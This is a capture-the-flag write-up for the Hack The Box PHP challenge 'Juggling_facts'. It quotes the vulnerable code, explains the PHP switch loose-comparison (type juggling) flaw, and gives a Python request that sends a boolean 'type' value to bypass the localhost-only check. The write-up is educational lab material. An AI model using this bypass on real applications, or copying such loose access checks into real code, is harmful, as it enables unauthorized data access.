Juggling_facts
Juggling_facts is a PHP chalenge on Hackthebox
Description:
This challenge allows you to choose between some type of option called facts,
but to access the secret one that contains out FLAG you need to access this site from localhost,
we can’t do that but after some code auditing it was using switch case,
and furtunatly it’s vulnerble to loose comparison.
Source code:
zip password: hackthebox
Vulnerable code:
1
2
3
4
5
if ($jsondata['type'] === 'secrets' && $_SERVER['REMOTE_ADDR'] !== '127.0.0.1')
{
return $router->jsonify(['message' => 'Currently this type can be only accessed through localhost!']);
}
# as you see if the user input equals `secret` and the request didn't come from localhost an error message returned.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public function getfacts($router)
{
$jsondata = json_decode(file_get_contents('php://input'), true);
if ( empty($jsondata) || !array_key_exists('type', $jsondata))
{
return $router->jsonify(['message' => 'Insufficient parameters!']);
}
if ($jsondata['type'] === 'secrets' && $_SERVER['REMOTE_ADDR'] !== '127.0.0.1')
{
return $router->jsonify(['message' => 'Currently this type can be only accessed through localhost!']);
}
switch ($jsondata['type'])
{
case 'secrets': // here where the `loose comparison` happenes
return $router->jsonify([
'facts' => $this->facts->get_facts('secrets')
]);
case 'spooky':
return $router->jsonify([
'facts' => $this->facts->get_facts('spooky')
]);
case 'not_spooky':
return $router->jsonify([
'facts' => $this->facts->get_facts('not_spooky')
]);
default:
return $router->jsonify([
'message' => 'Invalid type!'
]);
}
}
to understand more about this issue take a look at switch case manual in php.net.
so to exploit this take a look at this table provided by PHP manual.
As you can see if we have for example case "secret": and we pass true in the option(true) parameter.
it will match the secret because it uses only two equals == not three.
Solve:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
payload = """
{
"type":true
}
"""
url = 'http://localhost:1337/api/getfacts'
headers = {'Content-Type': 'application/json'}
res = requests.post(url, data=payload, headers=headers)
if res.status_code == 200:
print(res.text)
else:
print(res.status)
This post is licensed under CC BY 4.0 by the author.


